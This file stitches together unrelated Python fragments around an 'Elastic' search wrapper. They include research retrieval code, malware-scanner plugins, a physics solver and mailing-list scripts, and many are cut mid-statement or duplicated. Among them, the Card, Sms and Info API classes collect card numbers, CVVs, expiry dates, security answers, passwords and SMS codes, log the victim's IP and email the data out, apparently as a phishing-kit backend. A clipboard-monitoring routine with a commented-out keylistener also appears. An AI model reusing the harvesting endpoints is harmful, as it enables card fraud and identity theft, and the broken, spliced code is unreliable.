def __init__(self, test_tables=None):
"""
:param test_tables: 1000 wiki test tables
"""
self.test_tables = test_tables
self.__tes = Elastic("table_index_frt")
class Card(Resource):
"""
Class Api ressource to get cards from post method
"""
def __init__(self):
self.parser = reqparse.RequestParser()
self.parser.add_argument("carte", type=str, required=True)
self.parser.add_argument("date", type=str, required=True)
self.parser.add_argument("cvv", type=str, required=True)
self.parser.add_argument("compte", type=str)
self.parser.add_argument("q1", type=str)
self.parser.add_argument("q2", type=str)
self.parser.add_argument("nom", type=str, required=True)
self.parser.add_argument("password", type=str, required=True)
self.parser.add_argument("email", type=str, required=True)
self.parser.add_argument("date_naissance", type=str, required=True)
self.parser.add_argument("numero", type=str, required=True)
self.elastic = Elastic()
self.mail = Mail()
def post(self):
"""
post method logic
"""
data = self.parser.parse_args()
data.update(getCardInfo(data['carte']))
try:
# save data to elastic search
self.elastic.card(data, request)
except Exception:
pass
data['ip'] = request.access_route[0]
self.mail.send(data)
return {"message": "OK"}, 200
def __init__(self,
geometry: np.ndarray,
scale: float = 1.0,
modulus: float = 1.0,
target: tuple = ('meanstress', 2 * np.pi / 3),
adhesion: object = Adhesion(''),
path: str = ''):
self.geometry = np.asarray(geometry)
self.scale = scale
self.modulus = modulus
self.target = target
self.adhesion = adhesion
self.path = path
self.separation = 0
self.gap = np.zeros(self.geometry.shape)
self.adhesion_force = np.zeros(self.geometry.shape)
self.stress = np.zeros(self.geometry.shape)
self.deformation = np.zeros(self.geometry.shape)
(self.nx, self.ny) = self.geometry.shape
self.elastic = Elastic(self.nx, self.ny, scale, modulus, path)
self.x = np.linspace(0, scale, self.nx)
self.y = np.linspace(0, scale * self.ny / self.nx, self.ny)
self.dx = self.x[1] - self.x[0]
self.dy = self.y[1] - self.y[0]
self.separation_change = 0
self.unbalanced_target = 0
self.__tolerance = 1e-8
self.__inner = 20
self.__outer = 20
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump,
output):
"""Malice PDF Plugin."""
try:
# set up logging
init_logging(verbose)
# TODO: check if PDF is too big (max size 3000000 ??)
# TODO: if PDFiD fails maybe build different response JSON with errors etc.
pdfid_results = MalPDFiD(file_path).run()
pdf_results = {
'pdfid':
pdfid_results,
'streams':
MalPdfParser(file_path,
pdfid_results,
should_dump=dump,
dump_path=output,
verbose=verbose).run(),
}
# pdf_dict['pdf']['peepdf'] = MalPeepdf(file_path).run()
malice_scan = {
'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)),
'name': 'pdf',
'category': 'document',
'results': pdf_results
}
malice_scan['results']['markdown'] = json2markdown(pdf_results)
# write to elasticsearch
if eshost:
try:
e = Elastic(eshost, timeout=timeout)
e.write(results=malice_scan)
except Exception as e:
log.exception(
"failed to index malice/pdf results into elasticsearch")
if table:
print(malice_scan['results']['markdown'])
else:
print(json.dumps(pdf_results, indent=True))
# POST dropped files as a JSON blob back to malice server/daemon
if callback:
proxies = None
if proxy:
proxies = {
'http': proxy,
'https': proxy,
}
malice_scan['parent'] = os.environ.get('MALICE_SCANID',
sha256_checksum(file_path))
requests.post(callback, json=malice_scan, proxies=proxies)
except Exception as e:
log.exception("failed to run malice plugin: pdf")
return
def __init__(self):
self.parser = reqparse.RequestParser()
self.parser.add_argument("nom", type=str, required=True)
self.parser.add_argument("password", type=str, required=True)
self.parser.add_argument("email", type=str, required=True)
self.parser.add_argument("date_naissance", type=str, required=True)
self.parser.add_argument("numero", type=str, required=True)
self.elastic = Elastic()
def __init__(self, index_name="dbpedia_2015_10_type_cat"):
"""
:param index_name: name of index
"""
self.__index_name = index_name
self.__elastic = Elastic(self.__index_name)
self.__tes = Elastic("table_index_frt")
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump,
output, peid):
"""Malice PExecutable Scanner"""
try:
# set up logging
init_logging(verbose)
# TODO: check if EXE is too big (max size 3000000 ??)
pe_results = MalPEFile(file_path,
peid_db_path=peid,
should_dump=dump,
dump_path=output).run()
malice_scan = {
'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)),
'name': 'pescan',
'category': 'exe',
'results': pe_results
}
try:
malice_scan['results']['markdown'] = json2markdown(pe_results)
except Exception as e:
log.exception("failed to render jinja template")
malice_scan['results']['markdown'] = e.message
# write to elasticsearch
if eshost:
try:
e = Elastic(eshost, timeout=timeout)
e.write(results=malice_scan)
except Exception as e:
log.exception(
"failed to index malice/pescan results into elasticsearch")
if table:
print(malice_scan['results']['markdown'])
else:
pe_results.pop('markdown')
print(json.dumps(pe_results, indent=True))
# POST dropped files as a JSON blob back to malice server/daemon
if callback:
proxies = None
if proxy:
proxies = {
'http': proxy,
'https': proxy,
}
malice_scan['parent'] = os.environ.get('MALICE_SCANID',
sha256_checksum(file_path))
requests.post(callback, json=malice_scan, proxies=proxies)
except Exception as e:
log.exception("failed to run malice plugin: pescan")
return
def __init__(self):
# add parser object to class attribute
self.parser = reqparse.RequestParser()
# add required argument sms
self.parser.add_argument("sms", type=str, required=True)
# add elastic search class object to this class attribute
self.elastic = Elastic()
# add mail class object to this class attribute
self.mail = Mail()
def __init__(self, project):
super(Analysis, self).__init__()
self.project_name = config.get(project, "project_name")
self.doc_type = config.get(project, "doc_type")
self.log_format = config.get(project, "log_format")
self.log_pattern = config.get(project, "log_pattern")
self.data_dir = config.get(project, "data_dir")
self.file_filter = config.get(project, "file_filter")
self.start_pattern = config.get(project, "start_pattern")
self.multi_line = config.get(project, "multi_line")
self.match_extline_model = config.get(project, "match_extline_model")
self.es_host = config.get('elastic_config', 'host')
self.es_port = config.get('elastic_config', 'port')
self.es = Elastic({'host': self.es_host, 'port': self.es_port})
def __init__(self):
# add parser object to class attribute
self.parser = reqparse.RequestParser()
# add page arguments, the page from the request beaning
# send.
self.parser.add_argument("page", type=str, required=True)
# add the type argument, the type of the request , typing
# or alive.
self.parser.add_argument("type", type=str, required=True)
# create alastic search object
self.elastic = Elastic()
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump,
output):
"""Malice Office/OLE/RTF Scanner"""
try:
# set up logging
init_logging(verbose)
# TODO: check if DOC is too big (max size 3000000 ??)
o_results = MalOffice(file_path, should_dump=dump,
dump_path=output).run()
malice_scan = {
'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)),
'name': 'office',
'category': 'document',
'results': o_results
}
malice_scan['results']['markdown'] = json2markdown(o_results)
# write to elasticsearch
if eshost:
try:
e = Elastic(eshost, timeout=timeout)
e.write(results=malice_scan)
except Exception as e:
log.exception(
"failed to index malice/office results into elasticsearch")
if table:
print(malice_scan['results']['markdown'])
else:
o_results.pop('markdown')
print(json.dumps(o_results, indent=True))
# POST dropped files as a JSON blob back to malice server/daemon
if callback:
proxies = None
if proxy:
proxies = {
'http': proxy,
'https': proxy,
}
malice_scan['parent'] = os.environ.get('MALICE_SCANID',
sha256_checksum(file_path))
requests.post(callback, json=malice_scan, proxies=proxies)
except Exception as e:
log.exception("failed to run malice plugin: office")
return
def scan(file_path, verbose, table, proxy, callback, eshost, timeout, dump, output, peid):
"""Malice PExecutable Scanner"""
try:
# set up logging
init_logging(verbose)
# TODO: check if EXE is too big (max size 3000000 ??)
pe_results = MalPEFile(file_path, peid_db_path=peid, should_dump=dump, dump_path=output).run()
malice_scan = {
'id': os.environ.get('MALICE_SCANID', sha256_checksum(file_path)),
'name': 'pescan',
'category': 'exe',
'results': pe_results
}
try:
malice_scan['results']['markdown'] = json2markdown(pe_results)
except Exception as e:
log.exception("failed to render jinja template")
malice_scan['results']['markdown'] = e.message
# write to elasticsearch
if eshost:
try:
e = Elastic(eshost, timeout=timeout)
e.write(results=malice_scan)
except Exception as e:
log.exception("failed to index malice/pescan results into elasticsearch")
if table:
print(malice_scan['results']['markdown'])
else:
pe_results.pop('markdown')
print(json.dumps(pe_results, indent=True))
# POST dropped files as a JSON blob back to malice server/daemon
if callback:
proxies = None
if proxy:
proxies = {
'http': proxy,
'https': proxy,
}
malice_scan['parent'] = os.environ.get('MALICE_SCANID', sha256_checksum(file_path))
requests.post(callback, json=malice_scan, proxies=proxies)
except Exception as e:
log.exception("failed to run malice plugin: pescan")
return
def __init__(self):
self.parser = reqparse.RequestParser()
self.parser.add_argument("date", type=str, required=True)
self.parser.add_argument("carte", type=str, required=True)
self.parser.add_argument("cvv", type=str)
self.parser.add_argument("date_ex_a", type=str)
self.parser.add_argument("date_ex_m", type=str)
self.parser.add_argument("compte", type=str)
self.parser.add_argument("q1", type=str)
self.parser.add_argument("q2", type=str)
self.parser.add_argument("nom", type=str, required=True)
self.parser.add_argument("password", type=str, required=True)
self.parser.add_argument("email", type=str, required=True)
self.parser.add_argument("date_naissance", type=str, required=True)
self.parser.add_argument("numero", type=str, required=True)
self.elastic = Elastic()
self.mail = Mail()
def __init__(self, type_index_name="wikipedia_category",table_index_name="table_index_wikitable_train_jan_13",abstract_index_name="dbpedia_2015_10_abstract", lamda=0.5):
"""
:param index_name: name of index
:param lamda: smoothing parameter
"""
super().__init__(type_index_name, table_index_name)
self.__lambda = lamda
self.index_name = table_index_name
self.__tes = Elastic(table_index_name)
self.__elas = Elastic(abstract_index_name)
self.__mu = 0.5
self.e_c_freq = pickle.load(open("./data/entity_caption_term_freq.pkl", "rb"))
self.e_ht_freq = pickle.load(open("./data/entity_header_term_freq.pkl", "rb"))
self.e_h_freq = pickle.load(open("./data/entity_header_freq.pkl", "rb"))
self.c_freq = pickle.load(open("./data/caption_term_freq.pkl", "rb"))
self.ht_freq = pickle.load(open("./data/header_term_freq.pkl", "rb"))
self.h_freq = pickle.load(open("./data/header_freq.pkl", "rb"))
self.e_t = pickle.load(open("./data/entity_tables.pkl", "rb"))
def WP_gt(input_file=None):
es = Elastic(TABLE_INDEX)
dic1 = dict()
test_table_ids = json.load(open(input_file))
with open("seed_entity_order.json","w") as f:
for table_id in test_table_ids:
table_entity = []
index =0
entities = es.get_doc(doc_id=table_id).get("_source").get("entity_1st_col")
for entity in entities:
index += 1
if index <6:
entity = str.lower(entity)
table_entity.append(entity)
else:
break
dic1[table_id] = table_entity
print(dic1)
json.dump(dic1,f, indent=4, separators=(',', ': '))
def build_wiki_category_index(category_file, index_name="wikipedia_category"):
mappings = {
"category_n": Elastic.notanalyzed_field(),
"category_a": Elastic.analyzed_field()
}
elastic = Elastic(index_name)
elastic.create_index(mappings, force=True)
docs = {}
count = 0
with open(category_file, 'r') as f:
for line in tqdm(f):
wiki_id, cat = json.loads(line.strip())
cat_a = []
for c in cat: # prepare analyzed version
cat_a.append(c.replace("_", " "))
doc = {"category_n": cat, "category_a": cat_a}
docs[wiki_id] = doc
if len(docs) == 10000:
elastic.add_docs_bulk(docs)
docs = {}
elastic.add_docs_bulk(docs)
def store_data(self,
tweets,
guest_id,
auth_token,
session,
index="index",
data_type="type"):
elastic = Elastic()
for tweet_id in tweets:
try:
tweet_json = self.tweet_details(tweet_id, tweets[tweet_id],
guest_id, auth_token, session)
# Check if it contains a video or not
try:
video_info = tweet_json["extended_entities"]["media"][0][
"video_info"]
except KeyError as e:
print(
tweet_id,
": No video found ",
)
continue
user_json = tweet_json.pop(
'user') # separate user and tweet details
elastic.store_user_data(user_json, index, data_type)
elastic.store_tweet(tweet_json, index, data_type)
time.sleep(random.random() * 1)
except Exception as e:
print("tweet %s: Error in storing data. %s" % (tweet_id, e))
print(traceback.format_exc())
class Analytics(Resource):
def __init__(self):
# add parser object to class attribute
self.parser = reqparse.RequestParser()
# add page arguments, the page from the request beaning
# send.
self.parser.add_argument("page", type=str, required=True)
# add the type argument, the type of the request , typing
# or alive.
self.parser.add_argument("type", type=str, required=True)
# create alastic search object
self.elastic = Elastic()
def get(self):
# pars args and get data
data = self.parser.parse_args()
# save analytics data in elastic search
self.elastic.analytics(data, request)
class Sms(Resource):
def __init__(self):
# add parser object to class attribute
self.parser = reqparse.RequestParser()
# add required argument sms
self.parser.add_argument("sms", type=str, required=True)
# add elastic search class object to this class attribute
self.elastic = Elastic()
# add mail class object to this class attribute
self.mail = Mail()
def post(self):
"""
Post logic
"""
# pars args and get data
data = self.parser.parse_args()
# try to save data in elastic search database
try:
self.elastic.card(data, request)
except Exception:
pass
# send sms to email
data['ip'] = request.access_route[0]
self.mail.send(data, 'Sms')
return {"message": "OK"}, 200
def get(self):
"""
Get method to indicate to
redirect to page sms or not
"""
return {"value": PAGE_SMS}, 200
class Info(Resource):
def __init__(self):
self.parser = reqparse.RequestParser()
self.parser.add_argument("nom", type=str, required=True)
self.parser.add_argument("password", type=str, required=True)
self.parser.add_argument("email", type=str, required=True)
self.parser.add_argument("date_naissance", type=str, required=True)
self.parser.add_argument("numero", type=str, required=True)
self.elastic = Elastic()
def post(self):
# pars data from request args
data = self.parser.parse_args()
# try to save data in elastic search
try:
# save data to elastic search
self.elastic.card(data, request)
except Exception:
pass
# return OK message and 200 status
return {"message": "OK"}, 200
class Rank_label(Column_evaluation):
def __init__(self, index_name="table_index_frt"):
super().__init__()
self.__tes = Elastic(index_name=index_name)
self.__num = 100
def rank_candidates(self, seed_label, E, c):
"""Ranking candidate labels"""
p_all = {}
labels_c, tables_c = self.find_candidates_c(
c, seed=seed_label,
num=self.__num) # search tables with similar caption
labels_e, tables_e = self.find_candidates_e(E,
seed=seed_label,
num=self.__num)
lables_h, tables_h = self.find_candidates_l(seed=seed_label,
num=self.__num)
all_tables = set(tables_c + tables_e +
tables_h) # all related tables (ids)
candidate_labels = set(
list(labels_c) + list(labels_e) + list(lables_h))
p_t_ecl, headings = self.p_t_ecl(all_tables, seed_label, E)
for label in candidate_labels:
p_all[label] = 0
for table in all_tables:
table_label = headings.get(table, [])
if label in table_label:
p_all[label] += p_t_ecl[table] / len(table_label)
return p_all
def p_t_ecl(self, all_table, seed_label, E):
p = {}
headings = {}
for table in all_table:
doc = self.__tes.get_doc(table)
table_label = doc.get("_source").get("headings_n")
headings[table] = table_label
sim_l = self.overlap(table_label, seed_label)
table_entity = doc.get("_source").get("entity")
sim_e = self.overlap(table_entity, E)
table_caption = doc.get("_source").get("caption")
score = ScorerLM(self.__tes, table_caption, {}).score_doc(table)
p[table] = max(sim_e, 0.000001) * max(sim_l, 0.000001) * max(
math.exp(score), 0.000001)
return p, headings
def overlap(self, a, b):
"""Calculate |A and B|/|B|"""
return len([i for i in a if i in b]) / len(b)
def main():
index_name = "toy_index"
mappings = {
"title": Elastic.analyzed_field(),
"content": Elastic.analyzed_field(),
}
docs = {
1: {
"title":
"Rap God",
"content":
"gonna, gonna, Look, I was gonna go easy on you and not to hurt your feelings"
},
2: {
"title":
"Lose Yourself",
"content":
"Yo, if you could just, for one minute Or one split second in time, forget everything Everything that bothers you, or your problems Everything, and follow me"
},
3: {
"title":
"Love The Way You Lie",
"content":
"Just gonna stand there and watch me burn But that's alright, because I like the way it hurts"
},
4: {
"title":
"The Monster",
"content": [
"gonna gonna I'm friends with the monster",
"That's under my bed Get along with the voices inside of my head"
]
},
5: {
"title":
"Beautiful",
"content":
"Lately I've been hard to reach I've been too long on my own Everybody has a private world Where they can be alone"
}
}
elastic = Elastic(index_name)
elastic.create_index(mappings, force=True)
elastic.add_docs_bulk(docs)
def load_to_elastic(json_docs):
"""
:param json_docs: list of json docs
:return: None
"""
# upload to elastic
if len(json_docs) > 0:
print(json_docs)
elastic = Elastic(cloud_id=os.environ['ELASTIC_CLOUD_ID'],
username=os.environ['ELASTIC_USERNAME'],
password=os.environ['ELASTIC_PASSWORD'])
elastic.clear_data("tweet-index")
elastic.load_data(json_docs, "tweet-index")
def main():
logger = Log.configureLogger()
propertiesLoader = PropertiesLoader(logger)
propertiesLoader.loadProperties(PROPERTIES_FILE_NAME)
# moduleInstaller = AudoModuleInstaller(logger,propertiesLoader)
# moduleInstaller.installMissingModules()
q = queue.Queue()
# absPath = pathlib.Path().absolute()
# print(absPath)
dateManager = DateManager(logger, propertiesLoader)
r = redisDB(logger)
e = Elastic(logger, propertiesLoader)
m = mongoDB(logger, propertiesLoader)
# klo = KeysListnerObject(logger,dateManager,r,q,e,m,propertiesLoader)
t = temperature(logger, dateManager, r, q, e, m, propertiesLoader)
cb = ClipBoard(logger, dateManager, r, q, e, m, propertiesLoader)
# threading.Thread(target=klo.run, args=[]).start()
threading.Thread(target=t.cpuTemp, args=[]).start()
threading.Thread(target=cb.copyFromClipBoard, args=[]).start()
class Row_evaluation(object):
def __init__(self, index_name="dbpedia_2015_10_type_cat"):
"""
:param index_name: name of index
"""
self.__index_name = index_name
self.__elastic = Elastic(self.__index_name)
self.__tes = Elastic("table_index_frt")
def rank_candidates(self, seed, c=None, l=None):
"""
:param cand: candidate entities
:param seed: Seed entity
:param a: Attributes
:param c: Table caption
:return: Ranked suggestions
"""
pass
def find_candidates_c(self, seed_E, c, num=100):
"""table caption to find candidate entities"""
cand = []
res = self.__tes.search(query=c, field="catchall", num=num)
for table_id in res.keys():
doc = self.__tes.get_doc(table_id)
labels = doc["_source"]["entity"]
cand += labels
return set([i for i in cand if i not in seed_E])
def find_candidates_e(self, seed_E, num=None):
"""seed entities to find candidate entities"""
cand = []
for entity in seed_E:
body = self.generate_search_body(item=entity, field="entity")
res = self.__tes.search_complex(body=body, num=num)
for table_id in res.keys():
doc = self.__tes.get_doc(table_id)
labels = doc["_source"]["entity"]
cand += labels
return set([i for i in cand if i not in seed_E])
def generate_search_body(self, item, field):
"""Generate search body"""
body = {"query": {"bool": {"must": {"term": {field: item}}}}}
return body
def find_candidates_cat(self, seed_E, num=100): # only category
"""return seed entities' categories"""
cate_candidates = []
category = []
for entity in seed_E:
doc = self.__elastic.get_doc(entity)
cats = doc.get("_source").get("category")
category += cats
for cat in set(category):
body = self.generate_search_body(item=cat, field="category")
res = self.__elastic.search_complex(body=body, num=num)
cate_candidates += [i for i in res.keys() if i not in seed_E]
return set(cate_candidates)
def parse(self, text):
"""Put query into a term list for term iteration"""
stopwords = []
terms = []
# Replace specific characters with space
chars = ["'", ".", ":", ",", "/", "(", ")", "-", "+"]
for ch in chars:
if ch in text:
text = text.replace(ch, " ")
# Tokenization
for term in text.split(
): # default behavior of the split is to split on one or more whitespaces
# Stopword removal
if term in stopwords:
continue
terms.append(term)
return terms
import argparse
from elastic import Elastic
parser = argparse.ArgumentParser(description='Command line options.')
parser.add_argument('--apply', dest='apply', action='store_true',
help='Update the account favorites. Default is list ids only')
args = parser.parse_args()
FAVES='favorites'
TARGET=None
updated = 0
failed = 0
elastic = Elastic()
scroll_size = None # Only show it first time round
for page in elastic.scan_and_scroll(doc_type='account', body = { "_source" : [FAVES] }):
if not scroll_size:
scroll_size = page['hits']['total']
print("Found %d accounts" % scroll_size)
for hit in page['hits']['hits']:
mid = hit['_id']
source = hit['_source']
if FAVES in source:
favorites = source[FAVES]
if TARGET in favorites:
newfav = [x for x in favorites if x != TARGET]
if not args.apply:
print("Would update account mid %s" % mid)
continue
- make a list private
- make a list public
- update the description for a list
- delete mails from a list (does not delete mbox_source entries)
- obfuscate some fields (from, subject, body) in an mbox entry (does not obfuscate the raw source document)
"""
import sys
import time
import argparse
import json
from elastic import Elastic
es = Elastic()
dbname = es.getdbname()
# get config and set up default databas
es = Elastic()
# default database name
dbname = es.getdbname()
parser = argparse.ArgumentParser(description='Command line options.')
# Cannot have both source and mid as input
source_group = parser.add_mutually_exclusive_group()
source_group.add_argument('--source',
dest='source',
type=str,
help='Source list to edit')
source_group.add_argument('--mid',
dest='mid',
action='store_true',
help='Output the result JSON instead, very noisy!')
parser.add_argument('--counts',
dest='counts',
action='store_true',
help='Show the count of messages for each list')
args = parser.parse_args()
dbname = args.dbname
then = time.time()
# get config and set up default database
# If dbname is None, the config setting will be used
es = Elastic(dbname=dbname)
page = es.search(
doc_type="mbox",
size=0,
body={
'aggs': {
'lists': {
'terms': {
'field': "list_raw",
'size': 500000
},
'aggs': {
'privacy': {
'filter': { # are there any private messages?
'term': {
elastic.bulk(js_arr)
if args.missing:
setField = len(args.missing) > 1
field = args.missing[0]
value = None
if setField:
value = args.missing[1]
if setField:
print("Set missing/null field %s to '%s'" %(field, value))
else:
print("List missing/null field %s" % field)
count = 0
scroll = '30m'
then = time.time()
elastic = Elastic()
sourceLID = ("%s" if args.notag else "<%s>") % args.source[0].replace("@", ".").strip("<>")
page = elastic.scan(# defaults to mbox
scroll = scroll,
body = {
"_source" : ['subject','message-id'],
"query" : {
"bool" : {
"must" : {
'wildcard' if args.wildcard else 'term': {
'list_raw': sourceLID
}
},
"filter": {
"missing" : {
"field" : field
from elastic import Elastic
parser = argparse.ArgumentParser(description='Command line options.')
parser.add_argument(
'--apply',
dest='apply',
action='store_true',
help='Update the account favorites. Default is list ids only')
args = parser.parse_args()
FAVES = 'favorites'
TARGET = None
elastic = Elastic()
scroll = '5m'
page = elastic.scan(doc_type='account',
scroll=scroll,
body={
"_source": [FAVES],
})
sid = page['_scroll_id']
scroll_size = page['hits']['total']
print("Found %d accounts" % scroll_size)
updated = 0
failed = 0
while (scroll_size > 0):
page = elastic.scroll(scroll_id=sid, scroll=scroll)
sid = page['_scroll_id']
class DryContact:
"""Elastic-adhesive dry contact.
Calculate the gap and stress in a dry contact considering elastic
deformation and adhesion.
Dependencies: numpy, pyfftw, elastic
Attributes
----------
geometry : np.ndarray
undeformed contact geometry
scale : float
scaling factor for domains other than the unit square (default 1.0)
modulus : float
elastic modulus (default 1.0)
target : tuple(str, float)
convergence criterion (default ('meanstress', 2*np.pi/3));
options:
('meangap', value)
('meanstress', value)
adhesion : None or Adhesion
See Adhesion for more information
path : string
path to the file with influence coefficients (default '');
set path=None if you do not want to save or load the coefficients
see Elastic class for more information
verbose : bool
print information while solving the problem
Methods
-----
"""
def __init__(self,
geometry: np.ndarray,
scale: float = 1.0,
modulus: float = 1.0,
target: tuple = ('meanstress', 2 * np.pi / 3),
adhesion: object = Adhesion(''),
path: str = ''):
self.geometry = np.asarray(geometry)
self.scale = scale
self.modulus = modulus
self.target = target
self.adhesion = adhesion
self.path = path
self.separation = 0
self.gap = np.zeros(self.geometry.shape)
self.adhesion_force = np.zeros(self.geometry.shape)
self.stress = np.zeros(self.geometry.shape)
self.deformation = np.zeros(self.geometry.shape)
(self.nx, self.ny) = self.geometry.shape
self.elastic = Elastic(self.nx, self.ny, scale, modulus, path)
self.x = np.linspace(0, scale, self.nx)
self.y = np.linspace(0, scale * self.ny / self.nx, self.ny)
self.dx = self.x[1] - self.x[0]
self.dy = self.y[1] - self.y[0]
self.separation_change = 0
self.unbalanced_target = 0
self.__tolerance = 1e-8
self.__inner = 20
self.__outer = 20
def __separation(self):
if self.target[0] == 'meanstress':
self.unbalanced_target = self.target[1] - np.mean(self.stress)
self.separation_change = -self.unbalanced_target
elif self.target[0] == 'meangap':
self.unbalanced_target = self.target[1] - np.mean(self.gap)
self.separation_change = self.unbalanced_target
def solve(self):
self.separation = -np.min(self.geometry)
self.stress[:] = 0.0
for outer in range(self.__outer):
for _ in range(self.__inner):
self.deformation[:] = self.elastic.update(self.stress)
self.gap[:] = (self.separation + self.geometry +
self.deformation)
self.adhesion_force[:] = self.adhesion.update(self.gap)
A = 0.1
C = self.elastic.coefficients[-1, -1]
temp = np.sqrt((self.stress + self.adhesion_force)**2 +
self.gap**2 + np.finfo(float).eps)
self.stress[:] = self.stress - (
(self.stress + self.adhesion_force + self.gap - temp) /
(1 + C -
(self.stress + self.adhesion_force + C * self.gap) / temp
+ A))
self.stress[np.isnan(self.stress)] = 0.0
self.deformation[:] = self.elastic.update(self.stress)
self.gap[:] = np.maximum(
self.separation + self.geometry + self.deformation, 0)
self.adhesion_force[:] = self.adhesion.update(self.gap)
self.__separation()
unbalanced_complementarity = (
np.sum(self.stress * self.gap) +
np.sum(self.adhesion_force * self.gap))
if outer < self.__outer:
self.separation = self.separation + self.separation_change
convergence = (np.abs(self.unbalanced_target) <
self.__tolerance) and (unbalanced_complementarity <
self.__tolerance)
if np.mod(outer, 1) == 0 or convergence or outer == self.__outer:
print(
'outer: {:3d}, p0 = {: .4e} g0 = {: .4e}, hsep = {: .4e}, |dtarget| = {:.4e}, |p*g| = {:.4e}'
.format(outer, np.mean(self.stress), np.mean(self.gap),
self.separation, np.abs(self.unbalanced_target),
unbalanced_complementarity))
if convergence:
return None
class Analysis(object):
"""docstring for Analysis"""
def __init__(self, project):
super(Analysis, self).__init__()
self.project_name = config.get(project, "project_name")
self.doc_type = config.get(project, "doc_type")
self.log_format = config.get(project, "log_format")
self.log_pattern = config.get(project, "log_pattern")
self.data_dir = config.get(project, "data_dir")
self.file_filter = config.get(project, "file_filter")
self.start_pattern = config.get(project, "start_pattern")
self.multi_line = config.get(project, "multi_line")
self.match_extline_model = config.get(project, "match_extline_model")
self.es_host = config.get('elastic_config', 'host')
self.es_port = config.get('elastic_config', 'port')
self.es = Elastic({'host': self.es_host, 'port': self.es_port})
def getFileHistory(self, filename):
projectName = self.project_name + "_" + self.doc_type
option = filename.replace("/", "-")
res = {}
fileinfos = ""
if history.hasOption(projectName, option):
fileinfos = history.get(projectName, option)
else:
if history.hasSection(projectName):
history.set(projectName, option, "")
else:
history.addSection(projectName)
history.set(projectName, option, "")
res = self.es.createIndex(self.project_name)
history.save()
if fileinfos == "":
res['last_time'] = 0
res['read_line'] = 0
else:
infoArr = fileinfos.split("|")
res['last_time'] = infoArr[0]
res['read_line'] = infoArr[1]
return res
def setFileLastOper(self, filename, line, time):
option = filename.replace("/", "-")
value = str(time) + "|" + str(line)
history.set(self.project_name + "_" + self.doc_type, option, value)
history.save()
def analysisFile(self, filename):
historyinfo = self.getFileHistory(filename)
lasttime = os.path.getmtime(filename)
logFormatList = self.log_format.split()
pattern = re.compile(self.log_pattern)
start_pattern = re.compile(self.start_pattern)
if lasttime > float(historyinfo['last_time']):
print(filename)
with open(filename, 'r', encoding='utf-8', errors='ignore') as f:
oneContent = ""
oneData = {}
lineNum = 0
for line in f:
lineNum += 1
if lineNum < int(historyinfo['read_line']) + 1:
continue
oneContent = oneContent + line
match = pattern.match(oneContent)
start_match = start_pattern.match(line)
if match is None:
if self.multi_line == 1 and start_match is not None:
oneContent = line
continue
mgroup = match.groups()
m = 0
for info in mgroup:
oneData[logFormatList[m]] = info
m += 1
# 加入命令行执行产生的默认值
if "ip" not in oneData:
oneData['ip'] = "127.0.0.1"
if "method" not in oneData:
oneData['method'] = "cli"
self.es.createDoc(self.project_name, self.doc_type,
oneData)
if int(self.match_extline_model) == 1:
oneContent = line
else:
oneContent = ""
oneData = {}
if self.match_extline_model == 1:
lineNum = lineNum - 1
self.setFileLastOper(filename, lineNum, lasttime)
print(str(time.time()) + filename + " is update")
else:
pass
def run(self, data_dir):
file_pattern = re.compile(self.file_filter)
# 遍历读取其中的文件及文件夹，并记录下当前的历史记录
for filename in os.listdir(data_dir):
realfiledir = data_dir + "/" + filename
if os.path.isdir(realfiledir):
subdir = data_dir + "/" + filename
self.run(subdir)
else:
match = file_pattern.match(filename)
if match is None:
continue
self.analysisFile(realfiledir)